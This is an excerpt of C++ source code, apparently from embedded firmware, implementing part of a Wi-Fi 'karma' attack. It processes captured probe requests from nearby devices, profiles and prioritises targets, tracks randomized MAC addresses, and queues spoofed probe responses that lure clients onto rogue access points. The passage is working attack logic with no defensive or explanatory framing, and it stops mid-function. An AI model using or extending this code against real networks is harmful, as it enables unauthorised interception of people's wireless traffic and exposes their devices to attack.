Function processQueuedProbeEvents

src/modules/wifi/karma_attack.cpp:1478–1559

}

void processQueuedProbeEvents() {
    if (!karmaQueue) return;

    QueuedProbeEvent event = {};
    while (xQueueReceive(karmaQueue, &event, 0) == pdTRUE) {
        ProbeRequest probe = {};
        strncpy(probe.mac, event.mac, sizeof(probe.mac) - 1);
        probe.mac[sizeof(probe.mac) - 1] = '\0';
        strncpy(probe.ssid, event.ssid, sizeof(probe.ssid) - 1);
        probe.ssid[sizeof(probe.ssid) - 1] = '\0';
        probe.rssi = event.rssi;
        probe.timestamp = event.timestamp;
        probe.channel = event.channel;
        probe.fingerprint = event.fingerprint;

        analyzeClientBehavior(probe);
        updateChannelActivity(probe.channel);
        updateSSIDFrequency(probe.ssid);

        String ssid = probe.ssid;
        String mac = probe.mac;

        if ((karmaMode == MODE_PASSIVE || karmaMode == MODE_FULL) && broadcastAttack.isActive() &&
            ssid != "*WILDCARD*" && SSIDDatabase::contains(ssid)) {
            handleBroadcastResponse(ssid, mac);
        }

        bool isRandomizedMAC = false;
        if (mac.startsWith("12:") || mac.startsWith("22:") || mac.startsWith("32:") ||
            mac.startsWith("42:")) {
            isRandomizedMAC = true;
        }

        static uint32_t fakeMACCounter = 0;
        if (isRandomizedMAC) {
            fakeMACCounter++;
            if (fakeMACCounter % 50 == 0) {
                if (macBlacklist.find(mac) == macBlacklist.end() && macBlacklist.size() >= MAC_CACHE_SIZE) {
                    macBlacklist.erase(macBlacklist.begin());
                }
                macBlacklist[mac] = millis();
                continue;
            }
        }

        if (broadcastAttack.isActive()) broadcastAttack.processProbeResponse(ssid, mac);

        if (!karmaConfig.enableAutoKarma) continue;

        auto it = clientBehaviors.find(probe.fingerprint);
        if (it == clientBehaviors.end()) continue;

        ClientBehavior &client = it->second;
        uint8_t priority = calculateAttackPriority(client, probe);
        if (priority < attackConfig.priorityThreshold) continue;
        if (millis() - client.lastKarmaAttempt <= 10000) continue;

        queueProbeResponse(probe, event.rsn);